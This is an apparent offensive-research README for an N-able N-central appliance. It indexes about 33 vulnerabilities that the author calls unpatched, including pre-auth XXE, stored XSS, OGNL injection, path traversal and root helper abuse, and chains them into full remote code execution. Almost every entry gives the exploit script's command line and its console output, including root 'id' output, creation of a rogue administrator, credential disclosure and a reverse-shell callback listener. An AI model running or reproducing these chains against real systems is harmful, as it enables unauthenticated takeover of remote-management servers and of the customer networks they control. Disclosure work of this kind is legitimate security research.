# Able2Shell - N-Central N-Able
Disclaimer: I am not affiliated with Vector 35 or the product BinaryNinja in any way.
All testing was done on the version "**N-able N-central Appliance 2026.4.0.31**" - This is a pre-release version and as such most if not all vulnerabilities should work on previous versions, including the most up to date version. At the time of posting all vulnerabilities work on the latest pre-release version and are unpatched.
## Contents
- [Exploit Chains](#exploit-chains)
- [Vulnerabilities](#vulnerabilities)
- [Running notes](#running-notes)
### Vulnerability index
- [Anonymous service-import XXE chains NCI session confusion to nable RCE](#anonymous-service-import-xxe-rce)
- [ProductAdmin GenericTCP stack overflow reaches root MMS command execution](#generictcp-stack-overflow)
- [Zero-role Automation Manager policy disclosure](#automation-manager-policy-disclosure)
- [Pre-auth service-import XXE steals the local NCI session and writes an executable JSP](#preauth-service-import-xxe-jsp-write)
- [ApplianceRegistration customer/appliance identity confusion](#appliance-registration-identity-confusion)
- [ServerEI2 registration-token disclosure to Technicians](#technician-registration-token-disclosure)
- [ServerEI2 userAdd permits unauthorized Technician account creation](#technician-account-creation)
- [Anonymous asset-discovery database credential disclosure](#asset-discovery-credential-disclosure)
- [View-only role injects DeviceExecute configuration](#view-only-deviceexecute-write)
- [Anonymous Probe.ListAll cross-customer appliance disclosure](#anonymous-probe-listall)
- [Anonymous SysConfig.Set global configuration overwrite](#anonymous-sysconfig-write)
- [ServerMMS2 session/object mismatch](#mms2-session-object-mismatch)
- [Backup restore notification option injection to root](#backup-restore-sendmail-root-rce)
- [Passwordless syslog installer trusts nable-writable configuration](#syslog-installer-root-rce)
- [Anonymous remote-control session termination](#remote-control-session-termination)
- [Self-checksummed NSP upload to ProductAdmin root RCE](#nsp-root-rce)
- [SIS GenericFiles version traversal to authenticated RCE](#sis-genericfiles-traversal-rce)
- [Anonymous password-reset account enumeration](#password-reset-enumeration)
- [Anonymous remote-control audit-record overwrite](#remote-control-audit-overwrite)
- [Anonymous MDM UDID impersonation](#mdm-udid-command-impersonation)
- [Anonymous MMS3 disclosure of reusable Ecosystem Agent credentials](#ecosystem-credential-disclosure)
- [SIS repository parser authenticated XXE](#sis-repository-xxe)
- [Test-email recipient option injection](#test-email-option-injection)
- [Backup restore key-map injection writes executable JSP](#backup-restore-keymap-jsp)
- [Custom-service XML import authenticated XXE](#custom-service-import-xxe)
- [Anonymous MMS3 patch XSS to Audit Export root RCE](#anonymous-xss-audit-export-root-rce)
- [Audit Export serverIp syslog-ng grammar injection](#audit-export-root-rce)
- [Anonymous MMS3 patch XSS to OGNL nable RCE](#anonymous-xss-ognl-rce)
- [File Repository upload filename traversal to RCE](#file-repository-traversal-rce)
- [ServerEI2 repository publish arbitrary file write](#repository-publish-arbitrary-write)
- [Predictable ServerMMS3 passcode](#predictable-mms3-passcode)
- [Pre-upgrade helper executes nable-controlled script as root](#preupgrade-helper-root-rce)
- [Authenticated OGNL expression injection to nable RCE](#authenticated-ognl-rce)
## Exploit Chains
### Anonymous service-import XXE to `nable` RCE
The anonymous MMS2 write primitive, pre-authentication external-entity resolution, NCI local-session trust confusion, password reset, and authenticated JSP execution compose into the [credential-free XXE chain](#anonymous-service-import-xxe-rce). The same chain can create an enabled Default Administrator account with an operator-supplied username and password after the takeover.
### Anonymous MMS3 stored XSS to OGNL `nable` RCE
Predictable appliance authentication permits anonymous patch-metadata injection; a normal ProductAdmin patch-detail view executes the stored payload and invokes the OGNL command sink. See the [anonymous stored-XSS chain](#anonymous-xss-ognl-rce) and the independently reproduced [authenticated OGNL sink](#authenticated-ognl-rce).
### Anonymous MMS3 stored XSS to Audit Export root RCE
The same anonymous stored-XSS entry can use the administrator's same-origin session to submit Audit Export syslog-ng grammar injection and obtain `uid=0(root)`. See the [anonymous stored-XSS root chain](#anonymous-xss-audit-export-root-rce) and the individual [Audit Export sink](#audit-export-root-rce).
### SIS traversal to `nable`, then syslog helper to root
The SIS GenericFiles traversal places an executable JSP in Jetty and executes it as `nable`; the passwordless syslog installer then consumes a `nable`-writable configuration and executes as root. Reproduce the two edges with the [SIS traversal](#sis-genericfiles-traversal-rce) followed by the [syslog helper](#syslog-installer-root-rce).
## Vulnerabilities
### Anonymous service-import XXE chains NCI session confusion to `nable` RCE
An anonymous MMS2 caller stages XML/JSP content, triggers external-entity processing before UI-session enforcement, reuses the local NCI trust context to reset an account, and invokes the JSP as `uid=992(nable)`. The optional administrator mode creates an enabled role-1002 account, proves its UI login and protected Add User access, and leaves it in place unless validation cleanup is requested.
```console
sh$ python3 anonymous_xxe_nable_rce.py --appliance-id 1807387629 --callback-host --user-id 50 --username productadmin@n-able.com --customer-id 1 --restore-password '' --create-admin-username --create-admin-password '' --delete-created-admin --proxy "$HTTPS_PROXY" --command /usr/bin/id
created_admin_id=1290595928
created_admin_login=accepted
created_admin_role_id=1002
created_admin_protected_action=200
uid=992(nable) gid=992(nable) groups=992(nable) context=system_u:system_r:unconfined_service_t:s0
created_admin_deleted=true
account_password_restored=true
staging_logs_neutralized=true
```
[PoC](anonymous_xxe_nable_rce.py) · [Output](anonymous_xxe_nable_rce.output.txt) · [Screenshot](screenshots/anonymous_xxe_nable_rce.png)
Omit `--delete-created-admin` to retain the requested administrator account. Use a fresh compliant value for `--restore-password`, because password history can reject immediate reuse of the pre-run password; `NCENTRAL_NEW_ADMIN_PASSWORD` may be used instead of placing the new administrator password on the command line.
### ProductAdmin GenericTCP stack overflow reaches root MMS command execution
On N-central Appliance 2026.4.0.31, authenticated gzip SOAP
`Task.ModifyConfig` accepts a 9,242-byte GenericTCP command that the stock form
rejects. The PoC stages P and pauses for a fresh one-worker MMS launch. Startup
executes P once; the PoC then atomically arms all 40 E helpers and the overlong
command. At the next five-minute scan, cached P executes a second time, the task
refresh fetches E, and E immediately executes a third time. E partially
overwrites the adjacent socket pointer, selects the shaped `std::string`, and
dispatches through fixed `system@plt` as root.
This is a constrained ProductAdmin-authenticated reproduction. It requires the
isolated task ID used by the PoC, a fresh one-worker MMS launched with
`setarch -R`, and the exact tested build. The natural object bytes execute only
the fixed `ps` command. No debugger or process-memory write was present in the
successful run. The command executes before the corrupted worker later crashes
with `SIGSEGV`; the PoC restores the task parameters after the result is
captured.
```console
sh$ PRODUCTADMIN_PASSWORD='' python3 generictcp_stack_overflow.py --insecure --aslr-disabled-lab --run
task=1687743279 E_parameters=41 E_send_bytes=9242
P saved parameters=77
launch fresh one-worker MMS with ASLR disabled and confirm startup P=count1: press Enter to continue:
E armed parameters=41
confirm cached P=count2 then refreshed E=count3 and capture root ps output: press Enter to continue:
P restored parameters=77
```
[PoC](generictcp_stack_overflow.py) · [Output](generictcp_stack_overflow.output.txt)
### Zero-role Automation Manager policy disclosure
A zero-role account can enumerate Automation Manager UUIDs, after which the fixed `agent`/`agent` pair downloads raw executable policy source without a user or appliance session.
```console
sh$ NCENTRAL_PASSWORD='' python3 automation_manager_policy_disclosure.py --username --control --output policy.xml
enumerated_items=162
name='Add Domain User To Local Group'
policy_bytes=6328
control_bytes=0
```
[PoC](automation_manager_policy_disclosure.py) · [Output](automation_manager_policy_disclosure.output.txt) · [Screenshot](screenshots/automation_manager_policy_disclosure.png)
[Direct UUID download PoC](automation_policy_source_download.py) · [Direct output](automation_policy_source_download.output.txt)
### Pre-auth service-import XXE steals the local NCI session and writes an executable JSP
The service-import parser resolves an attacker DTD before checking the supplied UI session, allowing theft of the rotating NCI session and a controlled JSP write. This primitive is exercised by the stronger complete anonymous chain in the shared PoC below.
```console
sh$ python3 anonymous_xxe_nable_rce.py --appliance-id 1807387629 --callback-host --user-id 50 --username productadmin@n-able.com --customer-id 1 --restore-password '' --create-admin-username --create-admin-password '' --delete-created-admin --proxy "$HTTPS_PROXY" --command /usr/bin/id
created_admin_id=1290595928
created_admin_login=accepted
created_admin_role_id=1002
created_admin_protected_action=200
uid=992(nable) gid=992(nable) groups=992(nable) context=system_u:system_r:unconfined_service_t:s0
created_admin_deleted=true
account_password_restored=true
staging_logs_neutralized=true
```
[Shared chain PoC](anonymous_xxe_nable_rce.py) · [Output](anonymous_xxe_nable_rce.output.txt) · [Screenshot](screenshots/anonymous_xxe_nable_rce.png)
### ApplianceRegistration customer/appliance identity confusion
Registration validates a caller-controlled customer ID independently of the supplied appliance ID, then crosses into post-authentication handling for the unrelated target appliance.
```console
sh$ python3 appliance_registration_customer_binding.py technician.json --customer-id 101 --appliance-id 2147483001
valid_supplied_customer_http=500 post_auth=True
invalid_token_http=200 rejected=True
customer_omitted_http=200 rejected=True
```
[PoC](appliance_registration_customer_binding.py) · [Output](appliance_registration_customer_binding.output.txt) · [Screenshot](screenshots/appliance_registration_customer_binding.png)
### ServerEI2 registration-token disclosure to Technicians
`customerList` returns plaintext appliance-registration credentials to the built-in Technician role even though that role lacks the registration-token permission.
```console
sh$ python3 technician_registration_token_disclosure.py technician.json
customer=101 token_present=True expiry_present=True
```
[PoC](technician_registration_token_disclosure.py) · [Output](technician_registration_token_disclosure.output.txt) · [Screenshot](screenshots/technician_registration_token_disclosure.png)
### ServerEI2 `userAdd` permits unauthorized Technician account creation
The legacy method authenticates a Technician but omits the user-administration permission check, allowing creation of an enabled peer Technician account.
```console
sh$ python3 technician_peer_account_creation.py technician.json new_technician.json --verify-login
created_user_id=1498898957
login_http=302 location=https://192.168.1.14:8443/IndexAction.action
```
[PoC](technician_peer_account_creation.py) · [Output](technician_peer_account_creation.output.txt) · [Screenshot](screenshots/technician_peer_account_creation.png)
### Anonymous asset-discovery database credential disclosure
Cookie-free `AssetJobDefaultProperties.List` returns a selected customer's asset-discovery database username, password, connection data, and scan settings.
```console
sh$ python3 anonymous_asset_job_credentials.py --customer-id 1
DBACCOUNT_length=14
DBPASSWD_length=14
```
[PoC](anonymous_asset_job_credentials.py) · [Output](anonymous_asset_job_credentials.output.txt) · [Screenshot](screenshots/anonymous_asset_job_credentials.png)
### View-only role injects DeviceExecute configuration
`deviceExecute` accepts and delivers arbitrary appliance configuration from a user holding only a device-settings view permission; the PoC reads the value from the appliance side and then clears it.
```console
sh$ NCENTRAL_PASSWORD='' python3 view_only_deviceexecute_write.py --username --key OperatorTest --value accepted
write_http=200 readback=true
clear_http=200 cleanup_absent=True
```
[PoC](view_only_deviceexecute_write.py) · [Output](view_only_deviceexecute_write.output.txt) · [Screenshot](screenshots/view_only_deviceexecute_write.png)
### Anonymous `Probe.ListAll` cross-customer appliance disclosure
A nonpositive session ID bypasses validation and returns cross-customer probe/appliance identifiers that directly enable the predictable MMS3 passcode attack.
```console
sh$ python3 anonymous_probe_inventory.py --customer-id 50
customer=1 appliance=5 type=Maint name=Central Server Asset
customer=1 appliance=1 type=MMS name=Central Server
customer=101 appliance=1177049630 type=Windows name=WS-AUDIT-PROBE-20261105
invalid_session_http=500
```
[PoC](anonymous_probe_inventory.py) · [Output](anonymous_probe_inventory.output.txt) · [Screenshot](screenshots/anonymous_probe_inventory.png)
### Anonymous `SysConfig.Set` global configuration overwrite
Public-view mode mistakenly permits writes to global configuration rows, including trusted service endpoints and security-sensitive feature settings. The PoC performs paired readback and restoration.
```console
sh$ python3 anonymous_sysconfig_write.py --value https://127.0.0.1/
invalid_session_http=500
readback_matches_requested=True
restored=True
```
[PoC](anonymous_sysconfig_write.py) · [Output](anonymous_sysconfig_write.output.txt) · [Screenshot](screenshots/anonymous_sysconfig_write.png)
### ServerMMS2 session/object mismatch
An anonymous session bound to one appliance can update configuration belonging to a different caller-selected appliance. The PoC reads the cross-appliance value and restores the original.
```console
sh$ python3 anonymous_mms2_cross_appliance_write.py --source-appliance 1809608396 --target-appliance 1177049630 --value http://127.0.0.1:1
invalid_session_http=500
cross_appliance_readback_matches=True
restored=True
```
[PoC](anonymous_mms2_cross_appliance_write.py) · [Output](anonymous_mms2_cross_appliance_write.output.txt) · [Screenshot](screenshots/anonymous_mms2_cross_appliance_write.png)
### Backup restore notification option injection to root
A ProductAdmin-controlled notification value is parsed as a Sendmail option during the root restore failure path, selecting attacker configuration and executing as root before recipient validation.
```console
sh$ python3 backup_restore_sendmail_root_rce.py --callback-host --command /usr/bin/id
login=302
stage=ok
restore=500
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0
```
[PoC](backup_restore_sendmail_root_rce.py) · [Output](backup_restore_sendmail_root_rce.output.txt) · [Screenshot](screenshots/backup_restore_sendmail_root_rce.png)
### Passwordless syslog installer trusts `nable`-writable configuration
The root wrapper installs and restarts syslog-ng using a complete configuration from a `nable`-writable directory, converting any existing `nable` execution into root execution.
```console
sh$ python3 syslog_installer_root_rce.py --callback-host --command /usr/bin/id
listening on [any] 19173 ...
connect to [192.168.1.145] from (UNKNOWN) [192.168.1.14] 36100
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:syslogd_t:s0
uid=992
wrapper=0
cleanup=ok
```
[PoC](syslog_installer_root_rce.py) · [Output](syslog_installer_root_rce.output.txt) · [Screenshot](screenshots/syslog_installer_root_rce.png)
### Anonymous remote-control session termination
The unauthenticated legacy callback accepts a task ID and terminates the selected live remote-control session using backend session ID `-1`.
```console
sh$ python3 anonymous_remote_control_disconnect.py
http=200 set_cookie=True body='disconnectRC||true||Ok'
```
[PoC](anonymous_remote_control_disconnect.py) · [Output](anonymous_remote_control_disconnect.output.txt) · [Screenshot](screenshots/anonymous_remote_control_disconnect.png)
### Self-checksummed NSP upload to ProductAdmin root RCE
The appliance trusts an NSP payload and digest supplied together by ProductAdmin, then executes the extracted pre-upgrade script through a supported root helper.
```console
sh$ python3 nsp_root_rce.py --callback-host --command /usr/bin/id
login=302
upload=200
trigger=200
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0
```
[PoC](nsp_root_rce.py) · [Output](nsp_root_rce.output.txt) · [Screenshot](screenshots/nsp_root_rce.png)
### SIS GenericFiles version traversal to authenticated RCE
Unsigned SIS metadata places an executable JSP outside the intended download directory and into the deployed Jetty tree, where it executes as `nable`.
```console
sh$ python3 sis_genericfiles_traversal_rce.py --callback-host --command /usr/bin/id
login=302
save=200
execute=200
uid=992(nable) gid=992(nable) groups=992(nable) context=system_u:system_r:unconfined_service_t:s0
cleanup=ok
```
[PoC](sis_genericfiles_traversal_rce.py) · [Output](sis_genericfiles_traversal_rce.output.txt) · [Screenshot](screenshots/sis_genericfiles_traversal_rce.png)
### Anonymous password-reset account enumeration
Enabled local-account email addresses and absent addresses return different password-reset pages and response sizes.
```console
sh$ python3 password_reset_account_enumeration.py productadmin@n-able.com absent-1794182103@n-able.invalid
email=productadmin@n-able.com http=200 bytes=23936 result=accepted
email=absent-1794182103@n-able.invalid http=200 bytes=25680 result=request_form
```
[PoC](password_reset_account_enumeration.py) · [Output](password_reset_account_enumeration.output.txt) · [Screenshot](screenshots/password_reset_account_enumeration.png)
### Anonymous remote-control audit-record overwrite
The unauthenticated callback updates protected remote-control audit fields for a caller-supplied session UUID without creating an authenticated session.
```console
sh$ python3 anonymous_remote_control_audit_tampering.py --tunnel-type SSH --source-uri operator://source --target-uri operator://target
http=200 bytes=0 set_cookie=True
```
[PoC](anonymous_remote_control_audit_tampering.py) · [Output](anonymous_remote_control_audit_tampering.output.txt) · [Screenshot](screenshots/anonymous_remote_control_audit_tampering.png)
### Anonymous MDM UDID impersonation steals commands and forges results
The public MDM command channel trusts a caller-supplied UDID without authenticating the device, allowing an anonymous caller to retrieve a pending command and submit its result. The live PoC stole a synthetic `DeviceLock` command and marked it `Acknowledged` using only the returned command UUID.
```console
sh$ python3 mdm_udid_command_impersonation.py 0000000000000000000000000000000000002026 --acknowledge --insecure
http=200
command=DeviceLock
command_uuid=815a6f7b-8482-4418-a676-cfecb6bee924
ack_http=200
```
[PoC](mdm_udid_command_impersonation.py) · [Output](mdm_udid_command_impersonation.output.txt) · [Screenshot](screenshots/mdm_udid_command_impersonation.png)
### Anonymous MMS3 disclosure of reusable Ecosystem Agent credentials
A forged MMS3 appliance session exposes `agentKey` and `encKey`, which derive a valid global Ecosystem Agent credential accepted by a protected handler.
```console
sh$ python3 anonymous_mms3_ecosystem_credentials.py --appliance-id 1177049630
agentKey_present=True
encKey_present=True
invalid_error_code=403 FORBIDDEN
derived_error_code=0
```
[PoC](anonymous_mms3_ecosystem_credentials.py) · [Output](anonymous_mms3_ecosystem_credentials.output.txt) · [Screenshot](screenshots/anonymous_mms3_ecosystem_credentials.png)
### SIS repository parser authenticated XXE
A ProductAdmin-controlled SIS repository document resolves external entities and discloses local files readable by the DMS JVM.
```console
sh$ python3 sis_repository_xxe.py --callback-host --file /etc/hostname
login=302
save=200
callback=192.168.1.14 /repo/Repository.xml Java/21.0.13
callback=192.168.1.14 /external.dtd Java/21.0.13
callback=192.168.1.14 /leak?value=localhost.localdomain Java/21.0.13
```
[PoC](sis_repository_xxe.py) · [Output](sis_repository_xxe.output.txt) · [Screenshot](screenshots/sis_repository_xxe.png)
### Test-email recipient option injection
A ProductAdmin-supplied recipient reaches Sendmail without an option terminator, permitting arbitrary file creation or truncation as `nable`.
```console
sh$ python3 test_email_option_injection.py --path /opt/nable/webapps/ROOT/tmp/sendmail_test.txt
login=302
send=200
read=200
bytes=0
```
[PoC](test_email_option_injection.py) · [Output](test_email_option_injection.output.txt) · [Screenshot](screenshots/test_email_option_injection.png)
### Backup restore key-map injection writes executable JSP
Arbitrary restore keys control Perl special variables and the console path, causing the privileged restore helper to append executable JSP source to the deployed webroot.
```console
sh$ python3 backup_restore_keymap_jsp_rce.py --command /usr/bin/id
login=302
trigger=200
execute=200
uid=992(nable) gid=992(nable) groups=992(nable) context=system_u:system_r:unconfined_service_t:s0
```
[PoC](backup_restore_keymap_jsp_rce.py) · [Output](backup_restore_keymap_jsp_rce.output.txt) · [Screenshot](screenshots/backup_restore_keymap_jsp_rce.png)
### Custom-service XML import authenticated XXE
The custom-service parser leaves external-entity features enabled, permitting server-side requests and local-file disclosure.
```console
sh$ python3 custom_service_import_xxe.py --callback-host --file /etc/hostname
login=302
import=200
callback=192.168.1.14 /external.dtd Java/21.0.13
callback=192.168.1.14 /leak?value=localhost.localdomain Java/21.0.13
```
[PoC](custom_service_import_xxe.py) · [Output](custom_service_import_xxe.output.txt) · [Screenshot](screenshots/custom_service_import_xxe.png)
### Anonymous MMS3 patch XSS to Audit Export root RCE
Anonymous appliance impersonation persists active patch metadata; a ProductAdmin viewing the affected detail executes same-origin script that submits Audit Export grammar injection and obtains root execution.
```console
sh$ PRODUCTADMIN_PASSWORD='' python3 anonymous_mms3_xss_root_rce.py --lhost --proxy "$HTTPS_PROXY" --command /usr/bin/id
browser_trigger=natural_click
root_callback=connected
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:syslogd_t:s0
audit_export_restored=true
cleanup=ok
```
[PoC](anonymous_mms3_xss_root_rce.py) · [Output](anonymous_mms3_xss_root_rce.output.txt) · [Screenshot](screenshots/anonymous_mms3_xss_root_rce.png)
### Audit Export `serverIp` syslog-ng grammar injection
An authenticated `serverIp` value escapes the generated syslog-ng destination and adds a root-executed `program()` destination. The PoC restores the original Audit Export configuration.
```console
sh$ python3 audit_export_root_rce.py --callback-host --command /usr/bin/id
login=302
save=200
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:syslogd_t:s0
restore=200
```
[PoC](audit_export_root_rce.py) · [Output](audit_export_root_rce.output.txt) · [Screenshot](screenshots/audit_export_root_rce.png)
### Anonymous MMS3 patch XSS to OGNL `nable` RCE
Anonymous patch metadata becomes stored active content in a viewing administrator's browser and invokes the authenticated Security Manager OGNL sink to execute as `nable`.
```console
sh$ PRODUCTADMIN_PASSWORD='' python3 anonymous_mms3_xss_ognl_rce.py --lhost --proxy "$HTTPS_PROXY" --command /usr/bin/id
browser_trigger=natural_click
uid=992(nable) gid=992(nable) groups=992(nable) context=system_u:system_r:unconfined_service_t:s0
cleanup=ok
```
[PoC](anonymous_mms3_xss_ognl_rce.py) · [Output](anonymous_mms3_xss_ognl_rce.output.txt) · [Screenshot](screenshots/anonymous_mms3_xss_ognl_rce.png)
### File Repository upload filename traversal to RCE
A multipart filename escapes the repository directory and writes an executable JSP into the deployed webroot, where it executes as `nable`.
```console
sh$ python3 file_repository_traversal_rce.py --command /usr/bin/id
login=302
upload=200
execute=200
uid=992(nable) gid=992(nable) groups=992(nable) context=system_u:system_r:unconfined_service_t:s0
```
[PoC](file_repository_traversal_rce.py) · [Output](file_repository_traversal_rce.output.txt) · [Screenshot](screenshots/file_repository_traversal_rce.png)
### ServerEI2 repository publish arbitrary file write
Parent-directory components in the repository item name write attacker-controlled `.amp` bytes outside the repository. The forced suffix is material: the behavior proves arbitrary write, not code execution.
```console
sh$ python3 repository_publish_arbitrary_write.py
soap=200
read=200
bytes=248
```
[PoC](repository_publish_arbitrary_write.py) · [Output](repository_publish_arbitrary_write.output.txt) · [Screenshot](screenshots/repository_publish_arbitrary_write.png)
### Predictable ServerMMS3 passcode
The MMS3 passcode is deterministically derived from the decimal appliance ID, allowing an anonymous caller to mint and confirm a JWT, create an appliance session, and invoke protected operations.
```console
sh$ python3 predictable_mms3_passcode.py --appliance-id 1177049630
wrong_passcode_http=500
acquire_http=200
confirm_http=200
session_hello_http=200
scan_module_count_http=200
```
[PoC](predictable_mms3_passcode.py) · [Output](predictable_mms3_passcode.output.txt) · [Screenshot](screenshots/predictable_mms3_passcode.png)
### Pre-upgrade helper executes `nable`-controlled script as root
A passwordless wrapper executes a script from a `nable`-writable upgrade directory without ownership, containment, or integrity validation.
```console
sh$ python3 preupgrade_helper_root_rce.py --callback-host --command /usr/bin/id
login=302
stage=ok
trigger=500
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0
```
[PoC](preupgrade_helper_root_rce.py) · [Output](preupgrade_helper_root_rce.output.txt) · [Screenshot](screenshots/preupgrade_helper_root_rce.png)
### Authenticated OGNL expression injection to `nable` RCE
A UI user's `currentModule` value is evaluated as raw OGNL and can invoke the shipped process service to execute OS commands as `nable`.
```console
sh$ python3 ognl_rce.py --callback-host --command /usr/bin/id
login=302
trigger=500
uid=992(nable) gid=992(nable) groups=992(nable) context=system_u:system_r:unconfined_service_t:s0
```
[PoC](ognl_rce.py) · [Output](ognl_rce.output.txt) · [Screenshot](screenshots/ognl_rce.png)
## Running notes
- Replace angle-bracket placeholders with lab values. Do not put real credentials in the README or scripts; use the documented environment variables or interactive prompt.
- `anonymous_mms3_xss_root_rce.py` and `anonymous_mms3_xss_ognl_rce.py` automate the victim browser with Selenium/Chrome and require the managed HTTP proxy argument in this assessment environment.
- `generictcp_stack_overflow.py` is calibrated to the documented isolated, one-worker, ASLR-disabled lab and executes only the natural fixed `ps` command before the worker crashes.
- `syslog_installer_root_rce.py` starts locally as `nable`; use one of the remote `nable` RCE PoCs first when reproducing the composed remote-to-root chain.